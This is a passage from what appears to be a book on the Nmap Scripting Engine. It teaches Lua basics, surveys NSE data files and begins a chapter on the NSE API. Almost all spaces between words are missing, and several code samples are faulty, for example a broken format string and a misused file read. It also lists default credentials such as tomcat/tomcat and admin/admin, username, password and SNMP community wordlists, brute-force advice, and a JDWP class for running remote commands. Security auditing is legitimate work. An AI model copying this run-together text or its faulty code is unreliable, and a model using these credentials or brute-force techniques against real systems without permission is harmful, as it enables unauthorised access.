FindingsubstringsTherewillbealotofoccasionswhenyouwillneedtoknowwhetheracertainstringisasubstringofanotherstringobject—forexample,tomatchtheresponseofanetworkrequest.WecandothiswithLuainafewdifferentwayswithsomehelpfromthefollowingfunctions:

string.find(s,pattern[,init[,plain]])

string.match(s,pat)

string.gmatch(s,pat)

Thestring.findfunctionreturnsthepositionofthebeginningandendofthestringoccurrenceornilifnooccurrenceisfound.Itshouldbeusedwhenweneedtofindastringandthepositionoffsetsareneeded:

>print(string.find("hello","ello"))

25

Ontheotherhand,ifyoudon’tneedthepositionindexes,youcouldusethestring.matchfunction:

Ifstring.match(resp.body,"root:")then

…--Dosomethinghere

end

Thestring.findandstring.matchmethodsonlyworkwiththefirstoccurrenceofthestring.Iftherearemultipleoccurrences,youmustusestring.gmatch(gstandsforglobal)togetaniteratoroftheobjectsfound:

foriinstring.gmatch("a1b2c3d4e5f6","%d")do

print(i)

end

Hereistheoutputoftheprecedingcode:

1

2

3

4

5

6

StringrepetitionToconcatenatentimesthesstringwithLua,wehavethestring.repfunction:

string.rep(string,number)

Example:

>print(string.rep("a",13))

aaaaaaaaaaaaa

StringlengthTodeterminethelengthofastring,usethestring.lenfunction:

string.len(string)

Example:

>print(string.len("AAAAAAA"))

7

FormattingstringsWecancreatestringswithagivenformatandvariables.Thissavestimeandproducesbettercode(easiertoread)thanusingmultipleconcatenationoperators:

string.format(string,arg1,arg2,…)

Example:

--Herebothstringsareequal

localstring1="hey"..var1..":"

localstring2=string.format("hey%:",var1)

SplittingandjoiningstringsAlthoughthereisnobuilt-infunctiontosplitandjoinstrings,thestdnseNSElibrarycantakecareofthat:

stdnse.strjoin(delimeter,list)

stdnse.strsplit(pattern,text)

Example:

localstdnse=require"stdnse"

localcsv_str="a@test.com,b@foo.com,c@nmap.org"

localcsv_to_emails=stdnse.strsplit(",",emails)

foremailinpairs(csv_to_emails)do

print(email)

end

Theoutputoftheprecedingcodeisasfollows:

a@test.com

b@foo.com

c@nmap.org

CommondatastructuresInLua,youwillusethetabledatatypetoimplementallyourdatastructures.Thisdatatypehasgreatfeaturessuchastheabilitytostorefunctionsandbedynamicallyallocated,amongmanyothers.Hopefully,afterreviewingsomecommondatastructures,youwillfindyourselflovingtheirflexibility.

TablesTablesareveryconvenientandallowustoimplementdatastructuressuchasdictionaries,sets,lists,andarraysveryefficiently.Atablecanbeinitializedemptyorwithsomevalues:

T1={}--emptytable

T2={"a","b","c"}

Integerindexesorhashkeyscanbeusedtoassignordereferencethevaluesinatable.Oneimportantthingtokeepinmindisthatwecanhavebothtypesinthesametable:

t={}

t[1]="hey"

t["nmap"]="hi"--Thisisvalid

Togetthenumberofelementsstoredinatable,youmayprependthe#operator:

if#users>1then

print(string.format("Thereare%duser(s)online.",#users))

…--Dosomethingelse

end

NoteKeepinmindthatthe#operatoronlycountsentrieswithintegerindexesandisnotdeterministic.Ifyouareworkingwithnon-linearintegerindexes,youneedtoiteratethroughthetabletogetthenumberofitems:

functiontlength(t)

localcount=0

for_inpairs(t)docount=count+1end

returncount

end

ArraysArrayscanbeimplementedsimplybyusingtableswithintegerindexes.Thetable’ssizedoesnotneedtobedeclaredatthebeginningandcangrowasyouneeditto:

a={}

fori=1,10do

a[i]=0

end

Anotherexample:

a={4,5,6}

print(a[1])--willprint4

print(a[3])--willprint6

a[5]=9--Thisassignmentisvalid.

print(a[5])--Thiswillprint9

LinkedlistsSincetablescanstorereferencestoothertables,wecanimplementlinkedlistsprettystraightforwardlybyassigningafieldasthereferencetothenextlink:

linked_list=nil

contactA={name="PaulinoCalderon",num=123456789}

contactB={name="JohnDoe",num=1111111}

contactC={name="MrT",num=123}

linked_list={data=contactA,ptr=linked_list}

linked_list={data=contactB,ptr=linked_list}

linked_list={data=contactC,ptr=linked_list}

localhead=linked_list

whileheaddo

print(string.format("%s:%s",head.data["name"],head.data["num"]))

head=head.ptr

end

Theoutputoftheprecedingcodeisasfollows:

MrT:123

JohnDoe:1111111

PaulinoCalderon:123456789

SetsSetsarecommonlyusedtolookuptables;sincewecanusehashkeysasindexesinLua,lookupsareexecutedinconstanttimeandveryefficiently:

set={}

items={"2013-02-01","2013-02-02","2013-02-03"}

for_,keyinpairs(items)do

set[key]=true

end

--Tolookupakey,wesimplyaccessthefield.

ifset["2013-02-01"]then

print("Recordfound.")

end

QueuesAFIFOqueuecanalsobeimplementedinafewlinesofsourcecode:

--Initializesanewqueue

--@returnIndextable

functionqueue_new()

return{head=0,tail=-1}

end

--Addselementtothequeue

--InsertsareFIFO

--@paramqueueQueue

--@paramvalueValueofnewelement

functionqueue_add(queue,value)

locallast=queue.tail+1

queue.tail=last

queue[last]=value

end

--Removeselementfromqueue

--DeletionsareFIFO

--@paramqueueQueue

--@returnTrueifoperationwassuccesfull

--@returnErrorstring

functionqueue_remove(queue)

localfirst=queue.head

iffirst>queue.tailthen

returnfalse,"Queueisempty"

end

localvalue=queue[first]

queue[first]=nil

queue.head=first+1

returntrue,value

end

--Returnstrueifqueueisempty

--@paramqueueQueue

--@returnTrueifgivenqueueisempty

functionqueue_is_empty(queue)

ifqueue.head>queue.tailthen

returntrue

end

returnfalse

end

CustomdatastructuresTablescanalsobeusedtorepresentmanyothercustomdatastructures.SomeNSEscriptsusetablesstoredinfilesasdatabases.Tablescanalsoreferenceothertablesorevenstorefunctions;thisisveryhandywhenmodelingdata.

Intheupcomingsections,youwilllearnhowthehttp-enumandhttp-default-accountsNSEscriptsusetablestoeasilystorefingerprintsthatcanalsobeloadedintoascriptwithouttheneedforadditionalparsingroutines.

http-enumdatabaseThisisthestructureofafingerprintbelongingtothehttp-enumNSEscript:

{

category='general',

probes={

{

path='/archiva/index.action',

method='GET'

},

{

path='/index.action',

method='GET'

}

},

matches={

{

match='.*">ApacheArchiva(.-)</a>',

output='ApacheArchivaversion\\1'

},

{

match='ApacheArchiva(%d-%..-)\n',

output='ApacheArchivaversion\\1'

},

{

match='<title>ApacheArchiva\\',

output='ApacheArchiva'

}

}

});

http-default-accountsHereisthestructureofafingerprintofthehttp-default-accountsNSEscript:

{

name="ApacheTomcat",

category="web",

paths={

{path="/manager/html/"},

{path="/tomcat/manager/html/"}

},

login_combos={

{username="tomcat",password="tomcat"},

{username="admin",password="admin"}

},

login_check=function(host,port,path,user,pass)

returntry_http_basic_login(host,port,path,user,pass)

end

}

I/OoperationsFilemanipulationinLuaisdoneoneitherimplicitorexplicitfiledescriptors.Wewillfocusonusingexplicitfiledescriptorstoperformmostoftheoperations.

NoteIfweworkwithimplicitfiledescriptorsbydefault,Luawillusestdinandstdoutrespectively.Alternatively,wecansettheoutputandinputdescriptorswithio.outputandio.input,respectively.

ModesFilemodessupportedinLuaarethefollowing:

Filemode Description

r Thisisreadmode.

w Thisiswritemode.

a Thisisappendmode.

r+ Thisisupdatemode.Itpreservesexistingdata.

w+ Thisisupdatemode.Itdeletesanyexistingdata.

a+ Thisisappendupdatemode.Itpreservesexistingdataandonlyallowsappendingattheendofthefile.

OpeningafileTheio.openfunctionreturnsafiledescriptorifsuccessful:

file=io.open(filename[,mode])

Ifitfails,itwillreturnnilandthecorrespondingerrormessage(likemostLuafunctions).

ReadingafileToreadafileusinganexplicitfiledescriptor,usetheio.readfunction:

file=io.open(filename)

val=file:io.read("%d")

Thereisafunctioncalledio.linesthatwilltakeafilenameasanargumentandreturnaniteratortotraverseeachlineofthefilename.Thisfunctioncanhelpusprocessfilesinchunksdividedbynewlines:

forlineinio.lines(filename)do

ifstring.match(line,"<password>(.*)</password>")then

…--Dosomethinghere

end

end

WritingafileTheio.writefunctiontakesnstringargumentsandwritesthemtothecorrespondingfiledescriptor:

io.write(arg1,arg2,arg3…)

Example:

filename="test.txt"

str1="hello"

str2="nmaper"

file=io.open(filename,"w")

file:write(str1,str2)

Thecontentsofthetest.txtfileareasfollows:

Hellonmaper

ClosingafileAfteryouaredone,youshouldclosethefileusingtheio.closefunctiontoreleasethefiledescriptor:

io.close([file])

CoroutinesCoroutinesareaveryinterestingfeatureofLuathatallowcollaborativemultitasking.Keepinmindthatcoroutinesarenotregularpreemptivethreads.Coroutineswillhelpyousavetimewhenyouneeddifferentworkersthatusethesamecontext;theyconsumeveryfewresources.

Let’slearnthebasicsofcoroutines.LaterinChapter9,Parallelism,wewillgointothissubjectindepth.

CreatingacoroutineTocreateacoroutine,usethecoroutine.createfunction.Thisfunctioncreatesthecoroutinewithoutexecutingit:

localnt=coroutine.create(function()print("w00t!")

end)

ExecutingacoroutineToexecuteacoroutine,usethecoroutine.resumefunction:

coroutine.resume(<coroutine>)

Youcanalsopassparameterstothecoroutinefunctionasadditionalargumentstothecoroutine.resumefunction:

localnt=coroutine.create(function(x,y,z)print(x,y,z)end)

coroutine.resume(nt,1,2,3)

Hereistheoutputoftheprecedingcode:

1,2,3

NoteThereisafunctioncalledcoroutine.wrapthatcanreplacetheneedtoruncoroutine.createandcoroutine.resume.Theonlydifferenceisthatthecoroutinemustbeassignedtothisfunction:

localntwrapped=coroutine.wrap(function()print("w00t!")end)

ntwrapped()--Willprintw00t!

DeterminingtherunningcoroutineToobtainthecoroutinecurrentlyrunning,usethecoroutine.runningfunction:

nt=coroutine.create(function()

print("NewCO!")

print(coroutine.running())

end)

print(coroutine.running())

coroutine.resume(nt)

Theoutputoftheprecedingcodeisasfollows:

thread:0x931a008true

NewCO!

thread:0x931da78false

GettingthestatusofacoroutineTogetthecurrentstatusofacoroutine,wecanusethecoroutine.statusfunction.Thisfunctioncanreturnoneofthefollowingvalues:

Functionvalue Description

running Coroutineisexecuting

dead Coroutinehasfinishedrunning

suspended Coroutineiswaitingtobeexecuted

Example:

localnt=coroutine.create(function()

print(string.format("I'maliveee!Thestatusofthecoroutineis:%s",

coroutine.status(coroutine.running())))

end)

coroutine.resume(nt)

print("NowI'm"..coroutine.status(nt))

Hereistheoutputoftheprecedingcode:

I'maliveee!Thestatusofthecoroutineis:running

NowI'mdead

YieldingacoroutineToputacoroutineinsuspendedmode,usethecoroutine.yieldfunction:

localnt=coroutine.wrap(function(msg)

print(msg)

coroutine.yield()

print("Resumed!")

coroutine.yield()

print("Resumedagain")

coroutine.yield()

print("Resumedoncemore")

end)

nt("Hellonmaper!")

nt()

nt()

nt()

Theoutputoftheprecedingcodeisasfollows:

Hellonmaper!

Resumed!

Resumedagain

Resumedoncemore

MetatablesandmetamethodsMetamethodsallowustochangethebehaviorofatablebywritingcustomfunctionsforoperators—suchascomparingobjects,arithmeticaloperations,andmore.Forexample,let’ssaywewouldliketooverloadthe“add”functionalityofourtableobjectwithanewfunctionthataddscertainfieldsweselect.Normally,theadditionoperationisn’tvalidontablesbut,withmetatables,wecanoverwritethe__addmetamethodtoperformwhateverweneed.

ArithmeticmetamethodsThemetamethodssupportedbyLuatablesareasfollows:

Metamethod Description

__add Additionoperator

__mul Multiplicationoperator

__sub Subtractionoperator

__div Divisionoperator

__unm Negationoperator

__pow Exponentiationoperator

__concat Concatenationoperator

RelationalmetamethodsThefollowingrelationalmetamethodsarealsosupportedbyLuatables:

Metamethod Description

__eq Equality

__lt Lessthan

__le Lessthanorequalto

Thesetmetatablefunctionisusedtosetthemetatableofatable:

localvuln1={criticity_level=10,name="Vuln#1"}

localvuln2={criticity_level=4,name="Vuln#2"}

localmt={

__add=function(l1,l2)–Overridethefunction"add"

return{criticity_level=l1.criticity_level+l2.criticity_level}

end

}

setmetatable(vuln1,mt)

setmetatable(vuln2,mt)

localtotal=vuln1+vuln2

print(total.criticity_level)--Prints14whennormallyitwouldfailbefore

reachingthisstatement.

SummaryLuaisadynamicallytypedlanguagethatisperfectforquickscripting.Itisverylight,memory-safe,andoffersusefulfunctionsforcollaborativemultitasking,patternmatching,datamodelling,andstringhandling.NmapusesLuatopoweritsscriptingenginecalledNSE.Inthischapter,ItriedtoprovidethefundamentalsofLuaforthosewhoarenotfamiliarwiththelanguage.Icoveredtopicssuchasstringmanipulation,flowcontrolstructures,datatypes,andevenspecialquirksinthelanguage.

Ifirmlybelievethat,totrulymasterNSE,onemustbeabletodebugandcreateNSEscripts.Thosewhodowillhaveaninvaluabletoolattheirdisposal.Inthenextchapter,wewillgodeepintothecoreofNSEtolearnitslibraries,functions,andsecrets.Asinanyotherprogramminglanguage,practicemakesamaster.Aftereachchapter,trytoapplytheconceptsandwriteatleastonescript.Ifyoudothat,then,bytheendofthisbook,youwillhavemasteredNSE.

Chapter3.NSEDataFilesSomeNmapScriptingEngine(NSE)scriptsrequiredatabasestostorelistsofdetailssuchasusernames,passwords,miscellaneousstrings,andLuatablescontainingfunctionsusedasfingerprints.NSEstoresthesedatabasesinafolderdefinedduringinstallation.Theentriesselectedforeachdatabaseattempttoworkasbestaspossibleinthemostcommonscenariosbutavoidincludinglargefilesinordertopreventbloatingofficialreleases.

Advancedusersquicklyunderstandthatitisessentialtoupdatesomeofthesedatabasesfortheirdailytasks.TheeffectivenessofsomeNSEscriptsisseverelyaffectedbyhowwellweselectdatabasesusedduringourNmapscans.

ThischapterdescribesthemostimportantdatafilesinNSEsothatyoucandecidewhenusingthedefaultdatabaseisenoughandwhenyouneedtouseadifferentone.

Inthischapter,wewillreviewthefollowingfilesdistributedwithNmap:

TheNmapdatadirectoryUsernameandpassworddatafilesWebapplicationauditingdatafilesDatabaseManagementSystems(DBMS)auditingdatafilesJavaDebugWireProtocol(JDWP)datafilesOtherNSEdatafiles

Theofficialwebsiteofthisbookalsoincludessomedatafilesyoucandownload.Let’sstartthechapterbydescribingwherethesedatabasesarestoredandhowyoucanfindthedatadirectory.

LocatingyourdatadirectoryThischapterincludesreferencestoyourNmapdatadirectory,soitisimportantthatyoulocateitbeforecontinuing.ThefollowingtableshowssomeofthedefaultinstallationpathswhereyoucanfindNmap:

Operativesystem Installationpath

Windows C:\ProgramFiles\Nmap\

Non-Windows /usr/local/share/nmap/and/usr/share/nmap/

TheNSEdatadirectoryislocatedatnselib/datainsideyourNmapinstallationpath.

The--datadirargumentcanbeusedtomanuallyselectthedatadirectorytobeusedduringascan,likethis:

$nmap--datadir/usr/local/nmap-data/-sC-sV<target>

DatadirectorysearchorderNSEwillautomaticallyattempttoretrievedatafilesfromdifferentsources,andtheorderofthissearchdetermineswhichfileswillbeusedwhenmorethanonedatafilesourceisavailable.

NSEwillattempttofindthedatafilesinthefollowingorder:

Thescriptargument,--data-dir(ifset)Theenvironmentvariable,NMAPDIRThe~/.nmapdirectoryoftherunninguser(onlyonnon-Windowssystems)TheinstallationdirectoryTheinstallationdirectorywith../share/nmapappended(onlyonnon-Windowssystems)Thelocationdefinedatcompiletime

Usernameandpasswordlistsusedinbrute-forceattacksThebrutelibraryandalltheNSEscriptsdependingonitusetwoseparatedatabasestoretrieveusernamesandpasswordswhenperformingbrute-forcepassword-auditingattacks.ThedictionariesdistributedwithNmaparesomewhatsmallsinceitwouldn’tbepracticaltoincludeanddistributelargefiles.Itisuptotheuserstoeitherreplacethedictionariesorprovidedifferentdictionariesviathelibraryarguments,giventhatthedefaultusernameandpassworddictionariesareonly72KBand46KBinsize,respectively.

Keepinmindthattheeffectivenessofallyourbrute-forceattacksdependsonhowgoodyourdictionariesare.

UsernamedictionariesUsernamesarestoredinyourNmapdatadirectoryintheusernames.lstfile.Thisfilecontainsthefollowingentries:

root

admin

administrator

webadmin

sysadmin

netadmin

guest

user

web

test

Dependingontheservice,certainusersmustbeaddedforthescriptstobesuccessful.Forexample,MSSQLServer’sdefaultadministrationaccount,sa,isnotincludedinthedefaultlist,andisnotlikelytobeinagenericusernamelistbasedonEnglishwords,either.Ifyourunthems-sql-brutescriptwithoutarguments,youwillneverbeabletocheckwhethertheadministratoraccountusesaweakpassword.

TipIncaseyoudon’tknowwheretogetagooddictionaryfile,I’veuploadeddifferentdictionariesandsourcestotheofficialwebsiteofthisbook.Asalways,recommendationsarewelcomeathttp://mastering-nse.com.

PassworddictionariesThepasswordlistusedbythebrutelibraryisstoredinthepasswords.lstfileinsideyourNmapdatadirectory.Itcontainsjustover5,000ofthemostpopularpasswords.ThiswordlistisgreatforsystemsthatusepasswordsinEnglish,butisnotnecessarilytooeffectiveinotherlanguages.

Usingthecorrectpasswordlistwillbethedifferencebetweencompromisingaserviceandnot.Ihighlyrecommendalwaysselectingyourwordlistmanuallywitheverydictionaryattacktoimproveeffectiveness.Ialsosuggestkeepingdifferentversionsforgeneralservicescansandanotheronewithyourbiggestwordlistagainstspecificservicestoavoidnetworkcongestion.

WebapplicationauditingdatafilesNSEiswell-knownforitswebscanningcapabilities,andsomeofthescriptsalsorequiredatafilestoincreasetheirflexibility.Again,asageneralrecommendation,youshouldgothroughthemtoensurethattheyapplytoyourlocale.Let’sreviewwhatdatafilesareavailableforwebsecurityauditing.

http-fingerprints.luaThisisthemostimportantfilerelatedtowebscanninginNSE.Itcontainsthefingerprintsusedbythehttp-enumscript.Thehttp-enumscriptisthewebenumerationscriptthatlooksforcommonapplicationpathsandforgottenconfigurationfiles;itevendetectssomewebvulnerabilities.

ThefingerprintsareactuallyLuatables.Anentrylookssomewhatsimilartothefollowing:

table.insert(fingerprints,{

category='cms',

probes={

{path='/changelog.txt'},

{path='/tinymce/changelog.txt'},

},

matches={

{match='Version(.-)',output='Version\\1'},

{output='Interesting,achangelog.'}

}

})

Youmayselectthelocationofadifferentfingerprintfileusingthehttp-enum.fingerprintfilescriptargument:

$nmap--scripthttp-enum--script-argshttp-

enum.fingerprintfile=./myfingerprints.txt-p80<target>

TheformatofthedatabaseallowsustoinsertnewfingerprintsbysimplyaddingnewLuatablestothefile.Ifyouwritenewsignatures,don’tforgettocontributetotheprojectbysendingthemtothedevelopmentmailinglist.

TipTheofficialdocumentationofthehttp-enumscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-enum.html.

http-sql-errors.lstThisfilecontainstheerrorstringsusedwhendetectingSQLinjectionvulnerabilitieswiththehttp-sql-injectionscript.Thisdatabasewastakenfromthefuzzdbproject(http://code.google.com/p/fuzzdb/)andcontains339errorstrings.

Youmaysetadifferentsourcewiththehttp-sql-injection.errorstringsscriptargument:

$nmap-p80--scripthttp-sql-injection--script-argshttp-sql-

injection.errorstrings=/home/user/fuzzin/errors.txt<target>

TipTheofficialdocumentationofthehttp-sql-injectionscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-sql-injection.html.

http-web-files-extensions.lstThehttp-spiderNSElibraryusesthisfiletostorecommonfileextensionsusedinwebpages.Thedefaultfilehas214extensions,butyoucaneasilyaddyourownifyouareworkingwithafairlyexoticwebenvironmentandthewebcrawlinglibraryisparsingfilesthatitisnotsupposedto.

http-devframework-fingerprints.luaThisfileisusedbythehttp-devframeworkscriptthatwaswrittentoautomaticallyidentifycommondevelopmentframeworksusedbywebapplications.EachentryisaLuatablecontainingthefollowingfields:

name:ThisisthedescriptivenameofthedevelopmentsignaturerapidDetect:ThisisthecallbackfunctionexecutedatthebeginningofthedetectionprocessconsumingDetect:Thisisthecallbackfunctionexecutedforeachspideredpage

Forexample,thedetectionfunctionfortheASPenvironmentisasfollows:

ASPdotNET={rapidDetect=function(host,port)

response=http.get(host,port,"/")

—LookforanASP.NETheader.

forh,vinpairs(response.header)do

vl=v:lower()

ifh=="x-aspnet-version"orstring.find(vl,"asp")then

return"ASP.NETdetected.Foundrelatedheader."

end

end

ifresponse.cookiesthen

for_,cinpairs(response.cookies)do

ifc.name=="aspnetsessionid"then

return"ASP.NETdetected.Foundaspnetsessionidcookie."

end

end

end

end,

consumingDetect=function(page,path)

—Checkthesourceandlookforcommontraces.

ifpagethen

ifstring.find(page,"__VIEWSTATE")or

string.find(page,"__EVENT")or

string.find(page,"__doPostBack")or

string.find(page,"aspnetForm")or

string.find(page,"ctl00_")then

return"ASP.NETdetected.Foundcommontraceson"..path

end

end

end

}

TipTheofficialdocumentationforthehttp-devframeworkscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-devframework.html.

http-folders.txtThisfilecontains956stringscommonlyusedinfoldernames,andisrequiredbythehttp-iis-webdav-vulnscript.ThisscriptattemptstoidentifyvulnerableIIS5.1/6.0webservers.

TipYoumaysetthefolderdbscriptargumenttoselectanalternatedatabase:

$nmap-p80--scripthttp-iis-webdav-vuln--script-args

folderdb=/pentest/fuzzers/folders.txt<target>

Theofficialdocumentationforthehttp-iis-webdav-vulnscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-iis-webdav-vuln.html.

vhosts-default.lstThehttp-vhostsscriptusesthisfiletotrytofinddifferentvirtualhostsconfiguredinawebserver.Ifyouwillbeworkingwithwebapplications,itisessentialthatyouincreaseyourcoverageusingalargerdatasource.

Youmaysetthehttp-vhosts.filelistscriptargumenttoselectanalternatedatabase:

$nmap-p80--scripthttp-vhosts--script-argshttp-

vhosts.filelist=/pentest/vhosts.txt<target>

TipTheofficialdocumentationofthehttp-vhostsscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-vhosts.html.

wp-plugins.lstThewp-plugins.lstfileinsideyourNmapdatadirectorycontains18,575commonWordPresspluginnamesandisusedduringbrute-forceattacksbythehttp-wordpress-pluginsscript.However,keepinmindthatthescriptwillonlytrythetop100namesifyoudonotsetthehttp-wordpress-plugins.searchscriptargument:

$nmap-p80--scripthttp-wordpress-plugins--script-argshttp-wordpress-

plugins.search<target>

TipTheofficialdocumentationforthehttp-wordpress-pluginsscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-wordpress-plugins.html.

DBMS-auditingdatafilesCertainscriptsrelatedtoDBMSusedatafilestostorecommon,relatedstringsandfingerprintstoperformsecurityaudits.IfyounormallyworkwithOracleenvironments,Ihighlyrecommendupdatestothefollowingfiles.

mysql-cis.auditThemysql-cis.auditfileinsideyourNmapdatadirectorycontainsconfigurationchecksdescribedintheCISMySQLv1.0.2benchmark.Itisusedbythemysql-auditscripttoperformconfigurationchecksbycarryingoutaseriesoftests.Atestlookslikethis:

--Logging

test{id="3.1",desc="Skipsymboliclinks",sql="SHOWvariablesWHERE

Variable_name='log_error'ANDValueISNOTNULL",check=function(rowstab)

return{status=not(isEmpty(rowstab[1]))}

end

}

Youmaysetthemysql-auditscriptargumenttoselectanalternatedatabase:

$nmap-sV--scriptmysql-audit--script-argsmysql-

audit.filename=/pentest/mysql.audit<target>

TipTheofficialdocumentationforthemysql-auditscriptcanbefoundathttp://nmap.org/nsedoc/scripts/mysql-audit.html.

oracle-default-accounts.lstTheoracle-default-accounts.lstfileinsideyourNmapdatadirectoryisusedbytheoracle-bruteandoracle-brute-stealthscriptstoattempttoenumeratevalidusernamesinOracleservers;itcontains687entries.

Toforcetheoracle-bruteandoracle-brute-stealthscriptstoreadalternatedatabases,youmaysettheuserdbargument:

$nmap--scriptoracle-brute--script-argsuserdb=/pentest/users.txt

<target>

TipTheofficialdocumentationfortheoracle-default-accountsscriptcanbefoundathttp://nmap.org/nsedoc/scripts/oracle-enum-users.html.

oracle-sidsTheoracle-sidsfileinsideyourNmapdatadirectorycontainsover700commoninstancenamesusedbyOracleserversandisdistributedwiththeoracle-sid-brutescript.Theoracle-sid-brute.oraclesidsscriptargumentcanbeusedtosetanalternatedatasourcefromthecommandline:

$nmap-p1521-1560--scriptoracle-sid-brute--script-argsoracle-sid-

brute.oraclesids=/pentest/sids.txt<target>

TipTheofficialdocumentationoftheoracle-sid-brutescriptcanbefoundathttp://nmap.org/nsedoc/scripts/oracle-sid-brute.html.

JavaDebugWireProtocoldatafilesTheremotedebuggingportofJavausestheJDWPprotocol,andNSEhasafewscriptstodetectandexploitvulnerableservers.Let’sbrieflyreviewtheavailableJavaclassesyouwillfinddistributedwithNmapinsideyourdatadirectory.

JDWPExecCmd.javaThisistheJavaclassusedtorunremotecommands.ItusestheRuntime.getRuntime().execfunctiontoexecutethedesiredcommands.

JDWPSystemInfo.classThisJavafunctionattemptstoretrievethefollowingsysteminformation:

Totalspace(bytes)Freespace(bytes)OSOSversionOSpatchlevelOSarchitectureJavaversionUsernameUserhome

OtherNSEdatafilesNowwewillbrieflycoverotherinterestingNSEdatafilesthatdonotfallunderthepreviouscategories.

mygroupnames.dbThisfilecontains450stringsusedasmulticastgroupnamesbythebroadcast-igmp-discoveryscript.Rememberthatyoucanalsousethebroadcast-igmp-discovery.mygroupnamesdbscriptargumenttouseadifferentdatabase:

$nmap--scriptbroadcast-igmp-discovery--script-argsbroadcast-igmp-

discovery.mygroupnamesdb=/pentest/groups.txt<target>

TipTheofficialdocumentationofthebroadcast-igmp-discoveryscriptcanbefoundathttp://nmap.org/nsedoc/scripts/broadcast-igmp-discovery.html.

rtsp-urls.txtThisdatabaseisusedbythertsp-url-brutescripttostore74commonmediaURLsinsurveillanceIPcameras.Youmaysetanalternatedatafileusingthertsp-url-brute.urlfilescriptargumentfromthecommandline:

#nmap-p--sV--scriptrtsp-url-brute--script-argsrtsp-url-

brute.urlfile=/pentest/urls-media.txt<target>

TipTheofficialdocumentationofthertsp-url-brutescriptcanbefoundathttp://nmap.org/nsedoc/scripts/rtsp-url-brute.html.

snmpcommunities.lstTheSNMPprotocolusuallyprovidesalotofinformationaboutahost.However,someNSEscriptsthatworkwiththeprotocolrequireacommunitystring.Inthisdefaultfilelocatedinsideyourdatadirectory,thereareonlysixcommunitystrings:

public

private

snmpd

mngt

cisco

admin

ssl-ciphersThessl-enum-ciphersscriptusesthisfiletostorethescoreofknownencryptionciphers.

TipTheofficialdocumentationforthessl-enum-ciphersscriptcanbefoundathttp://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html.

ssl-fingerprintsThisfileisusedbythessl-known-keyscripttomatchaknownlistofproblematickeys.

TipTheofficialdocumentationforthessl-known-keyscriptcanbefoundathttp://nmap.org/nsedoc/scripts/ssl-known-key.html.

ike-fingerprints.luaThisfileisusedbytheike-versionscripttogatherinformationfromanIKEservice.Anentryhasthefield’scategory,vendor,version,ostype,devicetype,cpe,andfingerprint;itlookslikethefollowingcode:

{

category='vid_ordering',

vendor='Cisco',

version=nil,

ostype='PIXOS7.1orlater',

devicetype=nil,

cpe='cpe:/o:cisco:pix:7.1_or_later',

fingerprint=

'^12f5f28c457168a9702d9fe274cc010009002689dfd6b7124048b7d56ebce88525e7de7f0

0d6c2d3c00000001f07f70eaa6514d3b0fa96542a…...'

—CiscoUnity,XAUTH,IKEFragmentation,CiscoVPNConcentrator

}

TipTheofficialdocumentationfortheike-versionscriptcanbefoundathttp://nmap.org/nsedoc/scripts/ike-version.html.

tftplist.txtInsideyourdatadirectory,thisfileisusedbythetftp-enumscriptandstores89commonconfigurationfilesfoundinTFTPservers.Tomanuallysetthefilelisttodownload,usethetftp-enum.filelistscriptargument:

$nmap-sU-p69--scripttftp-enum--script-argstftp-enum-

filelist=/pentest/files.txt<target>

TipTheofficialdocumentationforthetftp-enumscriptcanbefoundathttp://nmap.org/nsedoc/scripts/tftp-enum.html.

OtherNmapdatafilesNmapalsousesotherdatafilesthatwewillnotcover,sincetheyarenotrelatedtoNSE.However,theyareworthmentioningifyouplantoaddyourownOSandservicedetectionsignatures.

Formoreinformationonthesefiles,seethefollowinglinks:

http://nmap.org/book/data-files.htmlhttp://nmap.org/book/data-files-replacing-data-files.html

SummaryInthischapter,welookedatthedifferentdatafilesusedbyNSEandtheimportanceofusingyourowncustomfiles.Fromnowon,youwillrecognizeopportunitiestocustomizeyourscanstoimprovetheireffectivenessaccordingtotheenvironment.Ialsorecommendthatyoustarthoardingthecommonstrings,usernames,andpasswordsyouencounterinyourdailylife.Itwillproveveryvaluablefurtherdowntheline.

Inthenextchapter,youwillstartlearningabouttheNSEAPIandtheavailablelibrariesthatwillmakeourliveseasier.Itistimeyoudevelopyourveryownscript.

Chapter4.ExploringtheNmapScriptingEngineAPIandLibrariesTheNSEAPIandlibrariesallowdeveloperstoobtainhostandportinformation,includingversionsofservices,andperformawiderangeoftaskswhenscanningnetworkswithNmap.Asinanyotherprogramminglanguageorframework,NSElibrariesseparateandrefactorcodethatwilllikelybehelpfulforotherNSEscripts.Taskssuchascreatinganetworksocketconnection,storingvalidcredentials,orreadingscriptargumentsfromthecommandlinearecommonlyhandledbytheselibraries.Nmapcurrentlydistributes107NSElibrariesofficiallytocommunicatewiththemostpopularprotocols,performcommonstringhandlingoperations,andevenprovideimplementationclassessuchasthebrutelibrary,whichprovidesaDriverclasstoquicklywriteyourownpassword-auditingscripts.

Thischaptercoversthefollowingtopics:

UnderstandingthestructureofanNSEscriptExploringtheNmapAPIandlibrariesSharinginformationbetweenscriptswiththeNSEregistryWritingyourownNSElibrariesExpandingthefunctionalityofNSElibraries

Afterfinishingthischapter,youwillunderstandwhatinformationcanbeaccessedthroughtheNmapAPIandhowtoupdatethisinformationtoreflectscriptresults.MygoalistogetyoufamiliarwithsomeofthemostpopularNSElibrariesandteachyouhowtoexpandtheirfunctionalityifneeded.

UnderstandingthestructureofanNSEscriptAnNSEscriptrequiresatleastthefollowingfields:

Description:Thisdescriptionisreadbythe--script-helpNmapoptionandisusedinthedocumentation.Categories:Thisfielddefinesthescriptcategoryusedwhenselectingscripts.Foralistofavailablecategories,seeAppendixC,ScriptCategories.Action:ThisisthemainfunctionoftheNSEscriptthatgetsexecutedonselection.Executionrule:Thisdefineswhenthescriptisgoingtorun.SeeChapter1,IntroductiontotheNmapScriptingEngine,forsomeexamplesofexecutionrules.

NoteForacompletelistofcategories,seeAppendixC,ScriptCategories.

OtherNSEscriptfieldsOtheravailablefieldsdescribetopicssuchaslicensing,dependencies,andcategories.Thesefieldsareoptional,butIhighlyencourageyoutoaddthemtoimprovethequalityofyourscript’sdocumentation.

AuthorThisfieldgivescreditstotheauthorsofthescriptswhosharetheirworkwiththecommunity.Itisacceptabletoincludee-mailaddresses.

